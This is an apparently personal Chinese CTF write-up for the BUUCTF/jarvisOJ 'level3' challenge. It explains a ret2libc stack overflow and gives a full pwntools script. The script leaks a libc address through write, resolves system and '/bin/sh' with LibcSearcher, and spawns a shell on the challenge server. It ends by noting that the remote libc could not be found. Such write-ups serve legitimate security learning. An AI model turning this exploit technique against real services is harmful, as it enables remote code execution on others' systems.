#buuctf
##[HarekazeCTF2019]baby_rop2

##pwn2_sctf_2016

##<center>31.jarvisOJ_level3(ret2libc)</center>
####1. 下载源文后查看文件保护和位数

####2. 发现是 32 位程序,开启了 NX (栈不可执行)
####,利用 ida 反编译查看程序 C 语言代码

#### 发现有 vul 函数进入查看

####3. 发现有 write 和 read 函数,其中 read 函数可以进行栈溢出,可以对此利用 注意:write (1, 输出地址,输出字节数)
因为没有发现后门函数,所以利用
write 泄露 libc 的地址来执行 system (/bin/sh)

###exp:

from pwn import *  
	from LibcSearcher3 import *  
	context.log_level = 'debug'
	p=remote('node4.buuoj.cn',28074)
	e=ELF("./level3")
	write_plt=e.plt["write"]
	read_got=e.got["write"]
	main=e.symbols["main"]
	p.recvuntil("Input:\n")
	payload1=b"a"*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4)
	p.sendline(payload1)
	#p.recvuntil("Input:\n")
	read=u32(p.recv(4))
	libc=LibcSearcher("write",read)
	libcbase=read-libc.dump("write")
	system=libcbase+libc.dump("system")
	binsh=libcbase+libc.dump("str_bin_sh")
	p.recvuntil("Input:\n")
	payload2=b"a"*(0x88+4)+p32(system)+p32(0)+p32(binsh)
	p.sendline(payload2)
	p.interactive()

#### 此题无法用 libcsearcher 远程库找到 libc